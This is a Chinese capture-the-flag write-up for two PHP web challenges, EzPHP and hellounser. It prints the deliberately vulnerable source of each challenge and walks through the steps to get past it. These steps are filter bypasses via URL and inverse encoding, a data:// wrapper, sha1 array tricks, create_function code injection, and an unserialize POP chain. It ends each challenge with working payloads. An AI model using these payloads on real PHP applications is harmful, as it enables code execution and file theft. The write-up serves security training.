[BJDCTF2020]EzPHP&DASCTF-sep:hellounser_dasctf2021 ezphp

EzPHP

查看源码，然后base32解密一下进入对应文件。
无语的是环境应该是出了问题，一上来就报“fxck”，导致那串代码根本没法绕过。最后破案了，需要把cookie清理一下。

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!//我无语了。。。
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$_SERVER[‘QUERY_STRING’]绕过

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}
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其中$_SERVER['QUERY_STRING']是用来获取url中？后的值，但并不会对url进行解码，所以可以编码后绕过。就比如后面需要的传参shana,就需要了
比如编码前报错就爆die了：

编码后就不会

所以第一处绕过是要对preg_match匹配到的关键词进行一个url编码。

preg_match绕过

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');
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先不管外面的file，传参debu为aqua_is_cute%0a即可绕过。

$_request绕过

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 
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php中$_REQUEST可以获取以POST方法和GET方法提交的数据

优先级post大于get，所以在传入参数时只需要有一个覆盖就可。例如题中get传参debu，且其值包含英文。这时post一个相同的变量debu，赋值为1，即可绕过。

file_get_contents绕过

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
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取一个file的值，并判断其值是否为后面那段文字，直接data伪协议写入一个就行。注意需要url编码。可以看到，没有die出相应的内容，成功绕过。

绕过sha1

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
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sha1对数组进行加密时值为false，即可绕过。shana[]=1&passwd[]=2

重头戏

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
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既然代码中是由包含flag.php的，那么我们就用get_defined_vars()来输出所有变量和值。前文中有extract($_GET["flag"]);可以利用。这个函数将数组键名作为变量名，键值作为变量值。那么当我们传入flag[arg]=phpinfo()时，内容就是arg=phpinfo()。所以变量code和arg是我们能控制的。这里我们可以用create_function来代码注入。

$code=create_function('$a,$b','return $a+b;');
print($code(1,2));//3
即为：
function code($a,$b){
	return $a+$b;
}

//注入：
$code=create_function('$a,$b','return $a+b;}phpinfo();//');
即为：
function code($a,$b){
	return $a+$b;
	}
	phpinfo();//}
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因此payload就在参数flag上做文章。

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
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告诉了真实flag位置。

用require去包含。

flag[code]=create_function&flag[arg]=}require(rea1fl4g.php);var_dump(get_defined_vars());//
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还需要绕过.才行

这里直接取反构造该文件来绕过.，得到一个假flag。
取反脚本

<?php
$payload='rea1fl4g.php';
$qufan=urlencode(~$payload);
echo $qufan;
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异或脚本

# 异或构造
payload='rea1fl4g.php'
lp=list(payload)
flag=''
for i in lp:
    yh = hex(~ord(i)&0xff)
    flag+=yh
    print(flag)
flag=flag.replace('0x','%')
flag+='^'
for i in range(len(lp)):
    flag+='%ff'
print(flag)
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那干脆直接用伪协议来读取试试。

成功。第一句解密后即为flag。

最终payload

get：
?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
);var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function 
post：
debu=1&file=2
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hellounser

DASCTF9月联名浙工大的题。

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}
class B{
    public $func;
    public $arg;
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }  
}
if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}
?>
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考察pop链利用。之前一篇博客详解过一道pop链的简单题

payload

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) ||
         preg_match('/fil|cat|more|tail|tac|less|head|nl|
         tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|
            x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|
            reverse|flip|rand|scan|chr|local|sess|id|source|
            arra|head|light|print|echo|read|inc|flag|1f|info|
            bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) 
            { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }

    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
}
$ta = new A();
$tb = new B();
$tb->func='create_function';
$tb->arg='}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
$ta->var=$tb;
echo urlencode(serialize($ta));
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